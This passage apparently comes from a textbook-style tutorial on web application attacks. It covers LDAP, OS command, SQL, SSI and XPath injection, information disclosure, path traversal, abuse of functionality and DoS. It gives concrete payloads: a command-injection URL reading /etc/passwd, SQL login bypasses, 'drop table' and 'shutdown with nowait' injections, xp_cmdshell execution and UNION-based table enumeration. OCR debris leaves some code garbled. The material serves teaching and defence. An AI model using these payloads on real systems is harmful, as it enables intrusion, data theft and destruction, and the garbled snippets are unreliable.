Lightweight Directory Access Protocol (LDAP) is a broadly used network protocol for accessing information in the directory. LDAP is a networking protocol for querying and modifying directory services running over TCP/IP. An LDAP directory usually follows the X.500 model: (X.500 is a series of computer networking standards covering electronic directory services) It is a tree of entries, each of which consists of a set of named attributes with values. While some services use a more complicated "forest" model, the vast majority use a simple starting point for their database organization.

An LDAP directory often reflects a variety of political, geographic, and/or organizational boundaries, depending on the model chosen. LDAP deployments today tend to use Domain Name System (DNS) names for structuring the simplest levels of the hierarchy. Further into the directory might appear entries representing people, organizational units, printers, documents, groups of people or anything else which represents a given tree entry, or multiple entries.

In context of web applications; it is a technique of exploiting web applications that use client-supplied data in LDAP statements without first stripping potentially risky characters from the request. It is an open-standard **Binary Protocol** for both querying and manipulating X.500 directory services. IT runs over Internet transport protocols, such as TCP and other networking protocols.

Web applications can use the user-supplied input to create custom LDAP statements for dynamic webpage requests. When a web application fails to properly clean user-supplied input, it is possible for an attacker to alter the construction of an LDAP statement. When an attacker is able to modify an LDAP statement, the process will run with the same permissions as the component that executed the command. (E.g. Database server, Web application server, Web server, etc.). This can cause serious security harms where the permissions grant the rights to query modify or remove anything inside the LDAP tree. The same advanced exploitation techniques available in SQL Injection can also be similarly applied in LDAP Injection.

4. OS Commanding

This is about executing operating system commands through user-supplied input. It is an attack technique used to exploit web sites by executing Operating System commands through manipulation of application input.

When a web application does not properly clean user-supplied input before using it within application code, it is possible to mislead the application into executing Operating System commands, executed instructions will run with the same permissions of the component that executed the instructions(e.g. Database server, Web application server, Web server, etc.).

Example:

Server side language like Perl permits piping data from a process into an open statement, by attaching a '|' (Pipe) character onto the end of a filename.

# Execute "/bin/ls" and pipe the output to the open	
statement	
open(FILE, "/bin/ls ")	

Web applications often use parameters that specify a file that is displayed or used as a template. If the web application does not properly clean the input provided by a user, an attacker may change the parameter value to include a shell command followed by the pipe symbol.

If the original URL of the web application is:

http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt

Changing the template parameter value, the attacker can trick the web application into executing the command /bin/ls:

http://example /cgi-bin/showInfo.pl?name=John&template=/bin/ls|

Most backend programming languages and scripting languages enable programmers to execute OS commands during run-time, by using various exec functions. If the web application allows user-supplied

input to be used inside such a function call without being sanitized first, it may be possible for an attacker to run Operating System commands remotely.

For example, here is a part of a PHP script, which presents the contents of a system directory (on UNIX systems):

Execute a shell command through the PHP Code:



By appending a semicolon (;) followed by an Operating System command, it is possible to force the web application into executing the second command:

http://example/directory.php?dir=%3Bcat%20/etc/passwd

The result will retrieve the contents of the /etc/passwd file.

5. SQL Injection

SQL injection is a technique used to exploit web applications that use client supplied data in SQL queries without validating the input. SQL injection is an attack methodology that targets the data residing in a database through the firewall that shields it. The SQL Injection works even if the System is fully patched, it requires nothing but port 80 should open. The attack takes advantage of poor input validation in code and website administration.

It is the act of passing SQL code into an application that was not intended by the developer. SQL injection vulnerability can occur when a program uses user-provided data in a database query without proper input validation. On the other hand SQL injection is a form of attack on a database-driven web site in which the attacker executes unauthorized SQL commands by taking advantage of insecure code on a system connected to the Internet, bypassing the firewall.

Structured Query Language ('SQL') is a largely textual language used to interact with relational databases. SQL is both an ANSI and an ISO standard but ANSI is most popular. The typical unit of execution of SQL is the 'query', which is a collection of statements that typically return a single 'result set'. SQL statements can modify the structure of databases (using Data Definition Language statements, or 'DDL') and manipulate the contents of databases (using Data Manipulation Language statements, or 'DML'). SQL Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input into an application.

SQL injection attacks are a serious concern for application developers as they can be used to break into supposedly secure systems and steal, alter, or destroy data. SQL Injection discusses the various ways in which SQL can be 'injected' into the application and addresses some of the data validation and database lockdown issues that are related to this class of attack.

Some of the commonly used SQL injection techniques are:

(1) Access through Login Page

- Using 'or' condition.
- Using 'having' clause.
- Using multiple queries.
- Using extended stored procedures.

(2) Access through URL

- By manipulating the query string in URL.
- Using the 'SELECT & UNION' statements.

Access through Login Page:

The easiest SQL injection is to bypass the logon forms where the user is authenticated against a password supplied by the user.

A sample Logon form and authorization script is shown below: **Login form:**

SQL Injection - Microsoft Internet Explorer	
Eile Edit View Favorites Tools Help	
🕝 Back 👻 🕥 👻 📓 🏠 🔎 Search 🤺 Favorites 🊱 🔗 - 嫨 🖸 - 🛄 🕂 🐌	
Address sqlinjection.html	🖌 🄁 Co
Sample Form	^
User Name	
Password	
Submit Reset	~

Authorization script in the web page: Login.asp

<%
dim userName, password, query
dim conn, rs
userName = Request.Form("userName")
password = Request.Form("password")
set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")
<pre>query = "select count(*) from users where userName="" &userName</pre>
& "' and userPass="' & password & "'"
conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write "Logged In SQL world"
else
response.write "Bad Credentials"
end if
⁰ / ₀ >

A) Using 'or' condition

Username: Ram Password: 'or 1=1 -out put -> "Logged In SQL world ".

SQL Injection - Microsoft In	ternet Explorer	
<u>File E</u> dit <u>V</u> iew F <u>a</u> vorites	iools <u>H</u> elp	an a
Address sqlinjection.html		💌 🄁 Go
		<u>^</u>
User Name	RAM	
Password	3000000000	
Submit Reset		×

The resultant query would now look like:

select count (*) from users where userName='Ram' and userPass='' or 1=1 --'

The query now checks for an empty password, or the conditional equation of 1=1, and then a valid row has been found in the users table. The first 'quote is used to terminate the string and '-- 'is used to comments the remaining portion of the query.

B) Using 'having' clause

```
Username: ' having 1=1 --

Password: [Anything]

out put -> " Error".

Username: Ram

Password: 'or 1=1 --

out put -> "Logged In SQL world ".
```

🗿 SQL Injection - Microsoft I	nternet Explorer	
<u>File E</u> dit <u>V</u> iew F <u>a</u> vorites	<u>I</u> ools <u>H</u> elp	
Address sqlinjection.html		💌 🄁 Go
		^
User Name	'having 1=1 -	
Password		
Submit Reset		~

On clicking the submit button to start the login process, the SQL query causes ASP to display the following error in the browser:

SQL Injection - Microsoft Internet Explorer	
Eile Edit View Favorites Tools Help	*
Address sqlinjection.html	🖌 🄁 Go
Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'users.userNa invalid in the select list because it is not contained in an aggregate function and there GROUP BY clause. <i>I</i> login.asp, line 16	ame' is is no

In this way 'having' clause can be used to know the name of database and attribute name. This error message now tells the attacker the name of one field from the database users.userName. Using the name of this field, attacker can now use SQL Server's 'LIKE' keyword to login with the following credentials:

Username: ' or users.userName like 'admin%' --Password: [Anything] out put -> " Login as admin".

🕘 SQL Injection - Microsoft In	iternet Explorer	
<u>File E</u> dit <u>V</u> iew F <u>a</u> vorites	[ools Help	
Address sqlinjection.html		🖌 🄁 Co
		^
User Name	' or users.userName like 'a%'-	=
Password	Jacabaaaaaaaaaaaaaaaa	
Submit Reset		~

The resultant query would now look like this:

select userName from users where userName=" or users.userName like 'admin%' --' and userPass=''

The query checks for an user name starting from 'admin' in user table.

C) Using multiple queries.

SQL server, among other databases, delimits queries with a semi-colon. The use of a semi-colon allows multiple queries to be submitted as one batch and executed sequentially, for example: select 1; select 1+2; select 1+3;

If user logged in with the following credentials:

Username: ' or 1=1; drop table users; Password: [Anything]	
SQL Injection - Microsoft Internet Explorer	
Eile Edit View Favorites Iools Help	
Address sqlinjection.html	💙 🄁 Go
User Name 'or 1=1; drop table users;	
Password Submit Reset	
	×

Then the query would execute in two parts.

First: Select the userName field for all rows in the users table.

Second: Delete the users table, so that when user logged in following error will appear:

SQL Injection - Microsoft Internet Explorer	
<u>File E</u> dit <u>Vi</u> ew F <u>a</u> vorites <u>T</u> ools <u>H</u> elp	1
🕜 Back 🔹 🕥 👻 🛃 🏠 🔎 Search 🤺 Favorites 🤣 🔗 - 🌺	× *
Audress 🖉 C:\Documents and Settings\pankaj\Desktop\sqlinjection.html	👻 🄁 Gu
	^
	=
Microsoft OLE DB Provider for SQL Server (0x80040E37) Invalid object name	_
users . /login.asp, line 10	~

Some Websites use the default system account (sa) user when logging into SQL Server from their ASP scripts by default, this user has access to all commands and can delete, rename, and add databases, tables, triggers, and more.

One of SQL Server's most powerful commands is:

SHUTDOWN WITH NOWAIT: This causes SQL Server to shutdown, immediately stopping the Windows service.

Username: '; shutdown with nowait; --Password: [Anything]

🕙 SQL Injection - Microsoft	Internet Explorer	
<u> </u>	Iools Help	
Address 🖉 C:\Documents and Se	ttings\pankaj\Desktop\sqlinjection.html	🖌 🄁 Co
		^
User Name	'; shutdown with nowait -	
Password	Jackatalaalaalaalaalaalaa	
Submit Reset		*

This would make our login.asp script run the following query:

select userName from users where userName=";shutdown with nowait; - -' and userPass=' '

If the user is set up as the default **sa** account, then SQL server will shut down.

D) Using extended stored procedures.

Executing an extended stored procedure using our login form with an injected command as the username, like this:

Username: '; exe Password: [Anyt	ec masterxp_cmdshell 'iisreset'; thing]	
🕙 SQL Injection - Microsoft	Internet Explorer	
<u>File E</u> dit <u>V</u> iew F <u>a</u> vorites	<u>T</u> ools <u>H</u> elp	A.
Address 🙋 C:\Documents and S	ettings\pankaj\Desktop\sqlinjection.html	💌 🄁 Go
User Name Password	'; exec masterxp_cmdshell 'iisreset'; —	
Submit Reset		

This would send the following query to SQL Server:

select userName from users where UserName='';execmaster..xp_cmdshell

'iisreset'; ---' and userPass=''

To execute stored procedures user or database should have necessary privileges. If IIS installed on the same machine as SQL Server ,then administrator/user could restart it by using the '**xp_cmdshell**' extended stored and 'iisreset'.

Through URL:

(A) By manipulating the query string in URL.

Many times URL looks like this: www.sqlproduct.com/sqlproducts.asp?p_id=7

To see the product details the product script on the server look like: **sqlproducts.asp**

$< 0/_{0}$
dim prodId
<pre>prodId = Request.QueryString("p_id")</pre>
<pre>set conn = server.createObject("ADODB.Connection")</pre>
<pre>set rs = server.createObject("ADODB.Recordset")</pre>
query = "select prodName from products where id = " & prodId
conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write "Got product " & rs.fields("prodName").value
else
response.write "No product found"
end if
%>

Now to know the field name of products table attacker can write: http://sqlproduct/sqlproducts.asp?p_id=0%20having%201=1

This would produce the following error in the browser:



Now using products field (products.prodName) call up the following URL in the browser:

http://localhost/products.asp?productId=0;insert%20into%20products (prodName)%20values(left(@@version,50))



Here's the query without the URL-encoded spaces:

http://localhost/products.asp?productId=0;insert into products (prodName) values(left(@@version,50))

out put ->"No product found".

However the above query runs an **INSERT** query on the products table, adding the first 50 characters of **SQL server's** @@version variable as a new record in the products table. Which contains the details of SQL Server's version, build, etc.

An attacker could get the version of SQL server by writing: http://localhost/products.asp?productId=(select%20max(id)%20from%20products)



Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86).

After getting the version details of SQL server an attacker could exploit the vulnerabilities associated with this version, if the SQL server is not fully patched.

(B) SELECT and UNION Statements

Let us consider a web page that returns employee information when a city is entered. The SQL query in the web page will look like this

SELECT person name, age, designation FROM emp WHERE person city ="" & txtcity & """

An attacker can use **sysobjects and** syscolumns tables to make UNION statement. The table sysobjects for the table names and syscolumns for the fields.

To make a UNION statement successful, the number of columns in the two SELECT statement and their field types should match. The following injection string can be used:

' UNION ALL SELECT pname,p_id, '5' FROM sysobjects WHERE ptype = 'U The SQL query that will be formed will look like this:

SELECT person_name, age, designation, phone_no FROM emp WHERE person_city = '' UNION ALL SELECT pname, p_id, '5' FROM sysobjects WHERE ptype = 'U'

Error messages are very important for a successful attack. The error from the server is:

Server: Message 205 ,level 16,State 1,Line 1

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

The user can add another field so that the SQL query passed to the database will be:

SELECT person_name, age, designation, phone_no FROM emp WHERE person_city = '' UNION ALL SELECT pname, p_id, '5', '5' FROM sysobjects WHERE ptype = 'U'

Since the number of columns in the two SELECT statements match and the column type matches, the attacker will get a valid output which will lists all the tables in the database with their p_id number. Attacker can select one such table and its corresponding p_id and form another SQL injection string:

' UNION ALL SELECT pname, '5', '5', '5' FROM syscolumns WHERE p_id = '13987

The SQL query that will be executed on the server would be: SELECT person_name, age, designation, phone_no FROM emp WHERE city = '' UNION ALL SELECT pname, '5', '5', '5' FROM syscolumns WHERE id = '13987'

In this way attacker can get all information from emp table.

6. SSI Injection (Server-side Include Injection):

SSI Injection is a server-side (mostly browser in web applications) exploits technique that allows an attacker to launch code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to clean user-supplied data before they are inserted into a server-side interpreted HTML file." Basically SSI is a mechanism for including files using a special form of HTML
comment which predates the include functionality of modern scripting languages such as PHP, ASP.NET and JSP.

Older CGI programs and 'classic' ASP scripts still use SSI to include libraries of code or re-usable elements of content, such as a site template header and footer. SSI is interpreted by the Web server, not the scripting language, so if SSI tags can be injected at the time of script execution these will often be accepted and parsed by the Web server.

In other words, before serving an HTML web page on browser, a web server may parse and performs the Server-side include statements before providing it to the user. In some cases (e.g. message boards, forums, blogs, guest books, or content management systems), a web application will insert user-supplied data into the source of a web page. If an attacker submits a Server-side include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served.

Example: if I have a script that prints the output in a .shtml file, then it *may* be possible to insert file includes, and depending on server configuration, execution of commands. Below is an example of such an attack.



In this example the attacker is inserting SSI tags into the Referrer and User-Agent fields. Depending on whether the software outputs this information as text or in image form, this could lead to possible file includes, or command execution. (Of course these examples could be interchangeable). If the logs are shown as text and displayed in a shtml file, and the referrer, or user agent fields are shown (most of the time they are), then these two requests will be included in the file. The next time a visitor views these logs, the SSI tags will be executed by the web server, and should display the results of the "id" command, as well as the contents of "somefile.log". (Once again depending on server configuration).

7. XPath Injection

In a standard Web Applications, data is stored on a Database server. This server can be storing data in different formats like an RDBMS database, LDAP or XML (Extensible Markup Language). Based on the

user input, the application queries the server and accesses the information. Attackers manage to extract more information than allowed by manipulating the query with specially crafted inputs. **XPATH Injection techniques to extract data from XML databases.**

XML allows programmers to create their own personalized tags to store data. In case of a Database, data is stored in a table in rows and columns whereas in XML the data is stored in nodes in a tree form. XML Path or XPath language is used for querying information from the nodes of an XML document. Path expressions are used to access elements and attributes in an XML document, which return a node-set, a string, a Boolean or a number. XPath contains a library of 100 built-in functions like Boolean values, date and time comparison, string values etc.

Comparison between SQL injection and XPath Injection:

Using various technique for securing web applications from SQL injection attacks, is common but how about the XPath injection protection? Some time it may be more dangerous to SQL injection attacks. Here is few points to compare the both.

XPath is an ironic standard language, and it is possible to carry the attack 'as-is' for any XPath implementation. This is in contrast to SQL injection where different implementations have different SQL languages (there is a common SQL language, but it is often too weak).

The XPath language can position practically all parts of the XML document without access control restrictions, whereas with SQL, a "user" (which is a term undefined in the XPath/XML context) may be limited to certain tables, columns or queries. So the outcome of the XPath Injection attack is guaranteed to consist of the complete XML document, i.e. the complete database.

Techniques for the XPATH Injection Attacks

- Simple Xpath Injection
- Blind Xpath Injection

Simple Xpath Injection:

When a Web application apply XPath language to query an XML document and retrieve the registration no or account number of a user whose name and password are received from the client. Such application may use these values directly in the XPath query; this can be vulnerable to that web application security.

Example (Using Microsoft ASP.NET and C#)



When such code is executed, an attacker is capable of inject XPath expressions (very similar to SQL injection), e.g. provide the following value as a user name: 'or 1=1 or "='

This information causes the semantics of the original XPath to amend, so that it always returns the first registration no account number in the XML document. Such an attack is called "Xpath Injection" a similar to the "SQL injection" attacks, and results in having the attacker logged in (as the first user listed in the XML document), although the attacker did not provide any valid user name or password. Although this attack grants the attacker access to the application, it does not necessarily grant them access as the most privileged account. In fact, except for logging in, the attacker has acquired no information about the XML "account database". In some cases, it might be possible to obtain information from the system if the XPath expression returns data from the XML document.

For example, the above code could have demonstrated the registration number of the logged-in account in the HTML response. In this situation, the attacker can further manipulate the XPath query to force the server to return various parts of the document.

Blind Xpath Injection

Blind XPath is a systematic approach to Injection attack that makes possible an invader to extract a complete XML manuscript used for XPath querying without prior knowledge of the XPath query. It assumes comparatively nothing on the structure of the query except that the user data is injected in a Boolean expression context. It enables the attacker to extract a single bit of information per a single query injection.

Xpath:

XPath 1.0 is a language that works on XML to refer to parts of an XML document. It can lineup directly by an application to query an XML document, or as part of a superior process such as applying an XSLT transformation to an XML document, or applying an XQuery to an XML document. Syntax of XPath has the some similarity to an SQL query, and certainly, it is possible to form SQL-like queries on an XML document using XPath.

The attack makes mostly use of these two techniques:

XPath crawling: The crawling procedure assumes no knowledge of the document structure; yet at its end, the document, in its completeness, is reconstructed.

Booleanization of XPath queries: scalar XPath query can be replaced by a series of Boolean queries. This procedure is called a "Booleanization" of the query. A Boolean query is a query whose result is a Boolean value (true/false). So in a Booleanization process, a query whose result type is string or numeric is replaced with a series of queries whose result type is Boolean, and from which we can reconstruct the result of the original string or numeric query.

This attack is capable to get hold of the XML or in other term "database" used in the Xpath query. This can be most powerful against sites as well as for web applications and that use Xpath queries (and XML "databases") for authentication, searching and other uses.

Information Disclosure

The Information Disclosure is all about the getting the System specific information about a website or web application. System specific information includes the sensitive information about the security, software distribution, version numbers, and patches levels or the information may contain the location of backup files and temporary files.

In most cases, revealing this information is not necessary to fulfill the needs of the user. Most web sites reveals a certain amount of data, but it's best practice to limit the amount of data whenever possible. The more information we disclose attacker learns more about to attacks.

We can break up this vulnerability in these following parts:

A) Information Leakage

Information Leakage comes in picture when a web site or web application expose sensitive data, such as help notes, developer comments or error messages, which may aid an attacker in exploiting the system.

Sensitive information may be present within HTML comments, error messages, source code, or simply left in plain sight. There are many ways a website can be coaxed into revealing this type of information. While this disclosure does not necessarily represent a hole in security, it does give an attacker useful guidance for future exploitation. Leakage of sensitive information may carry various levels of risk and should be limited whenever possible.

In the first case of information leakage (comments left in the code, verbose error messages, etc.), the leak may give brainpower to the attacker with contextual information of directory structure, SQL query structure, and the names of key processes used by the web site. often a developer leaves comments in the HTML and script code to help facilitate in debugging or integration. This information can range from simple comments detailing how the script works, to, in the worst cases, usernames and passwords used during the testing phase of development. Information Leakage also applies to data deemed confidential, which aren't properly protected by the web site. These data may include account numbers, user identifiers (Drivers license number, Passport number, Social Security Numbers, etc.) and user specific data (account balances, address, and transaction history).

Insufficient Authorization, and secure transport encryption also deal with shielding and enforcing proper controls over access to data. Many attacks fall outside the scope of web site security such as client attacks, the "casual observer" concerns. Information Leakage in this context deals with exposure of key user data deemed confidential or secret that should not be exposed in plain view even to the user. Credit card numbers are a prime example of user data that needs to be further protected from exposure or leakage even with the proper encryption and access controls in place.

B) Directory listing

Automatic directory listing or indexing is a web server common function that lists all of the files within a requested directory if the normal base file index.htm, home.htm or default.htm is not available on root.

When a web server reveals a directory's contents, the listing could contain information not intended for public viewing. Often web administrators assume that if there are no hyperlinks to some documents, they will not be found, or no one will look for them. It is important to realize that unintended directory listings may be possible due to software vulnerabilities combined with specific web server request.

The details of the following files could be obtained based on directory indexing data:

- Backup files with extensions such as .bak, .old or .orig
- Temporary files those files that are normally purged from the server but for some reason are still available
- Hidden files
- Naming conventions Admin vs. admin, backup vs. back-up, etc.
- Enumerate User Accounts based on home directories named after their user Id
- Configuration file contents have extensions such as .conf, .cfg or .config. May contain access control data
- Script Contents View contents (if file security permissions are incorrect)

When a user requests the home page of a web site, they normally type in a URL such as: http://www.google.com - using the domain name and excluding a specific file. The web server processes this request and searches the document root directory for the default file name and sends this page to the client. If this page is not present, the web server will issue a directory listing and send the output to the client.

A general Example of Directory Listing:

a.	dex of Amages - Microsoft Inter	net Explorer		
File	Edit View Favorites Tools He	No		A
G	Each - 🔘 · 🔳 😰 🐔	Search trevorte	. 0	🙈 · 💺 🖬 · 🔜 🔞 🚳
Adde	Altpullgrant herninger namelin	agest		V D Go Livis "
	Contraction of the second seco	wyw.e		
h	ndex of /image	s		
	Nome	Last modified	Size	Description
د	Perent Directory		-	
R	2005-6-16screensbot	16-Jun-2005 15129	3.128	
5	3501FH2, ing	29-001-2003 13100	178	
2	1088556286eeeebunt . 1ng	29-Jun-2004 01146	72.8	
	1092217764senaws.1pg	10-140-2004 16126	408	
	10901928455801.104	21-848-2004 17145	518	
	2001906044.html	22-Apt-2004 22:17	191	
2	2001006044.3pg	22-Apr-2004 22:16	462	
2	20011130031.3PG	30-Nov-2003 11:07	348	
2	20031130032.jpg	30-Nov-2003 11:21	398	
2	20031130036.3PG	30-Nov-2003 11:11	55K	
5	Ben, Chic, Dupe-thum>	01-Jan-2005 22:21	29K	
5	Ben, Chic, Dupe.jpg	01-Jan-2005 22:21	798	
	Blacklist/	17-Feb-2005 23:23	-	
S	CTO-proper-thumb.gif	17-Jan-2005 00:06	0.98	
	CTO-proper.gif	17-Jan-2005 00:06	0.98	
Ľ	CTO-proper.html	17-Jan-2005 00106	191	
1	CTG-thunk.jpg	17-Jan-2005 00:07	418	
141	CTVS Areal	17-1an-2005 00107	104	
				Adobe Thotoshop Internet

Basically, this is equal to issuing an "ls" (UNIX) or "dir" (Windows) command within this directory and showing the results in HTML form. From an attack and countermeasure perspective, it is important to realize that unintended directory listings may be possible due to software vulnerabilities combined with a specific web request.

When a web server reveals a directory's contents, the listing could contain information not intended for public viewing. Often web administrators rely on "Security Through Obscurity" assuming that if there are no hyperlinks to these documents, they will not be found, or no one will look for them. By reviewing the /robots.txt file and/or viewing directory indexing contents, the vulnerability scanner can now interrogate the web server further with these new data. Although potentially harmless, Directory Indexing could allow an information leak that supplies an attacker with the information necessary to launch further attacks against the system.

C) The Path Traversal

The Path Traversal attack procedure forces access to files, directories, and commands that potentially reside outside the root directory on computer machine. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any method that exposes an HTTP based interface is potentially vulnerable to Path Traversal.

Most web sites & web applications restrict user access to a specific portion of the file system, typically called the "web document root" or "CGI root" directory. These directories contain the files intended for user access and the executables necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences. **The most basic Path Traversal attack uses the ".../"** special character sequence to alter the resource location requested in the URL.

This attack technique forces access to directories, files, and commands that potentially reside outside the web document root directory. Most web sites restrict user access to a specific portion of the file system, typically called the "web document root". This directory contains the files intended for user access and the executables necessary to drive web application functionality.

Although most popular web servers will prevent this technique from escaping the web document root, but when variations such as:

- Valid and invalid Unicode coding e.g., ("..\"), ("%2e%2e%2f"),
- Double URL encoding ("..%255c") of the backslash character,
- NUL character ("%00") in order to bypass rudimentary file extension checks etc.,

This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (".") to reveal the listing of the current working directory, or "%00" NUL characters in order to bypass rudimentary file extension checks.

D) Predictable Resource Location or Forced Browsing

Predictable Resource Location is also known as Forced Browsing, File Enumeration, Directory Enumeration, etc. Predictable Resource Location is an attack technique used to uncover hidden web site content and functionality by making educated guesses, the attack is a brute force search looking for content that is not intended for public viewing. Temporary files, backup files, configuration files, and sample files are all examples of potentially leftover files.

These brute force searches are easy to use because hidden files will often have common naming convention and reside in standard locations. These files may reveal sensitive information about web application internals, database information, passwords, and machine names, file paths to other sensitive areas, or possibly contain vulnerabilities. Disclosure of this information is valuable to an attacker.

Example:

Any attacker can make arbitrary file or directory requests to any publicly available web server. The existence of a resource can be determined by analyzing the web server HTTP response codes. There are several of Predictable Resource Location attack variations:

Blind searches for common files and directories /admin/ /backup/ /logs/ /vulnerable_file.cgi

Adding extensions to existing filename: (/test.asp) /test.asp.bak /test.bak /test

Logical Attacks:

Abuse or exploitation of a web application's logic flow is recognized as Logical Attacks. Application logic is the expected procedural flow used in order to perform a certain action. Account registration, card validation, Password recovery, auction bidding, and online shopping are all examples of application logic.

A web site or web application requires a user to in the approved manner perform a specific multi-step process to complete a particular action. An attacker may be able to circumvent or misuse these features to harm a web site and its users.

A) Abuse of Functionality

It is an attack technique that uses a web site or web applications own features and functionality to utilize, cheat, or avoid access controls procedures. Some functionality of a application or website, possibly even security features, may be abused to cause unexpected behavior. When a piece of functionality is reachable to abuse, an attacker could potentially hack off other users or perhaps defraud the system entirely. The potential and level of abuse will vary from web site to web site and application to application. Abuse of Functionality techniques are often knotted with other categories of web application attacks, such as performing an encoding attack to introduce a query string that turns a web search function into a remote web proxy. Abuse of Functionality attacks are also commonly used as a **force multiplier**.

For example, an attacker can inject a Cross-site Scripting snippet into a web-chat session and then use the built-in broadcast function to propagate the malicious code throughout the site. In a large view, all effective attacks against computer-based systems entail Abuse of Functionality issues. Specifically, this definition describes an attack that has subverted a useful web application for a malicious purpose with little or no modification to the original function.

Example:

Examples of Abuse of Functionality include:

- Utilization of web site's search function to access restricted files beyond of a web directory,
- Subverting a file upload subsystem to replace critical internal configuration files,
- Execute a DoS by flooding a web-login system with good usernames and bad passwords to lock out legitimate users when the allowed login retry-limit is exceeded. Other real-world examples are described below.

FormMail:

The PERL-based web application "FormMail" was normally used to transmit user-supplied form data to a preprogrammed e-mail address. The script offered an easy to use solution for web site's to gather feedback. For this reason, the FormMail script was one of the most popular CGI programs on-line.

Unfortunately, this same high degree of utility and ease of use was abused by remote attackers to send email to any remote recipient. In short, this web application was transformed into a spam-relay engine with a single browser web request.

An attacker merely has to craft an URL that supplied the desired e- mail parameters and perform an HTTP GET to the CGI, such as:

http://example/cgi-bin/FormMail.pl? recipient=email@victim.example&message=you%20got%20spam

An email would be dutifully generated, with the web server acting as the sender, allowing the attacker to be fully proxied by the web- application. Since no security mechanisms existed for this version of the script, the only viable defensive measure was to rewrite the script with a hard-coded e-mail address. Barring that, site operates were forced to remove or replace the web application entirely.

Macromedia's Cold Fusion:

Occasionally basic administrative tools are embedded within web applications that can be easily used for unintended purposes.

For example, Macromedia's Cold Fusion by default has a built-in module for viewing source code that is universally accessible. Abuse of this module can result in critical web application information leakage. Often these types of modules are not sample files or extraneous functions, but critical system components. This makes disabling these functions problematic since they are tied to existing web application systems.

B) Denial of Service (DoS)

A denial-of-service attack (also, DoS attack) is an attack on a computer system or network that causes a loss of service to users, typically the loss of network connectivity and services by consuming the bandwidth of the victim network or overloading the computational resources of the victim system. Denial of Service is an attack with the intention of preventing a web site from serving normal user activity. DoS attacks are common in networking layers, but also possible at the application layer as well.

DoS rely primarily on brute force, flooding the target with an overwhelming flux of packets, over saturating its connection bandwidth or depleting target's system resources. Bandwidth-saturating floods rely on the attacker having higher bandwidth available than the victim; a common way of achieving this today is via Distributed Denial of Service, employing a botnet (Botnet is a jargon term for a collection of software robots, or bots, which run autonomously.). Other floods may use specific packet types or connection requests to saturate finite resources by, for example, occupying the maximum number of open connections or filling the victim's disk space with logs.

A DoS attack can be carry out in a number of ways. But these are the most common type of DoS attack:

- consumption of computational resources, such as bandwidth, disk space, or CPU time
- disruption of configuration information, such as routing information

- disruption of physical network components
- "banana attack": It involves redirecting outgoing messages from the client back onto the client, preventing outside access, as well as flooding the client with the sent packets.
- A smurf Attack, named after its exploit program, is a denial-of-service attack which uses spoofed broadcast ping messages to flood a target system. Smurf attack is variant of a flooding DoS attack on the public Internet. It relies on mis-configured network devices that allow packets to be sent to all computer hosts on a particular network via the broadcast address of the network, rather than a specific machine.

Distributed DoS attacks

In a distributed attack, the attacking computer hosts are often zombie computers (A zombie computer (abbreviated zombie) is a computer attached to the Internet that has been compromised by a cracker, a computer virus, or a Trojan horse.) with broadband connections to the Internet that have been compromised by viruses or Trojan horse programs that allow the perpetrator to remotely control the machine and direct the attack, often through a botnet/dosnet. With enough such slave hosts, the services of even the largest and most well-connected websites can be denied.

Effects of DoS

Denial of Service attacks can also lead to other problems in the network 'branches' around the actual computer being attacked. For example, the bandwidth of a router between the Internet and a LAN may be consumed by DoS, meaning not only will the intended computer be compromised, but the entire network will also be disrupted.

If the DoS is conducted in a sufficiently large scale, entire geographical swathes of Internet connectivity can also be compromised by incorrectly configured or flimsy network infrastructure equipment without the attacker's knowledge or intent. For this reason, most, if not all ISPs ban the practice.

These malicious attacks can succeed by starving a system of critical resources, vulnerability exploit, or abuse of functionality. Many times DoS attacks will attempt to consume all of a web site's available system resources such as: CPU, memory, disk space etc. When any one of these critical resources reach full utilization, the web site will normally be inaccessible. As today's web application environments include a web server, database server and an authentication server, DoS at the application layer may target each of these independent components. Unlike DoS at the network layer, where a large number of connection attempts are required, DoS at the application layer is a much simpler task to perform.

C) Insufficient Anti-automation

Insufficient Anti-automation is occurs when a web site or web applications allows an invader to automate a process that should only be execute manually. Certain web site functionalities should be protected against automated attacks.

An example: An automated Script or robot program should not be able to sign up ten thousand new accounts in a few minutes. Similarly, automated robots should not be able to annoy other users with repeated message board postings. These operations should be limited only to human usage. for this signup problem Random picture numbers is one of very significant anti automation technique that we can see in very common applications like sign up process or any form feeding applications. You must be noticed when you sign up for the email on any portal they ask you to enter the picture numbers to avoid the automation.

Scripts, automated robots (programs), or even attackers could repeatedly exercise web site functionality attempting to exploit or defraud the system. An automated robot could potentially execute thousands of requests a minute, causing potential loss of performance or service.

D) Insufficient Process Validation

Insufficient Process Validation is comes in a picture when a website or web application allow an attacker to bypass or avoid the intended flow control of an application. If the user state process from end to end is not verified and enforced, the web site could be at risk to exploitation or fraud. When a user performs a certain web site function, the application may expect the user to navigate through a specific order sequence. If the user performs certain steps incorrectly or out of order, a data integrity error occurs and it may lead to vulnerability.

Examples of multi-step processes include credit card processing, bank wire transfer, password recovery, purchase checkout, account signup, etc. These processes are to be expected to follow certain steps to be performed to carry smooth secure operations. Multi-step processes should follow the proper sequence of order to function securely, web sites and web applications are vital to maintain & carry user state as the user traverses the process flow. Web sites will normally track a users state through the use of sessions, cookies or hidden HTML form fields. However, when tracking is gathered on the client side within the web browser, the integrity of the data must be verified. If not, an attacker may be able to circumvent the expected traffic flow by altering the current state.

Example:

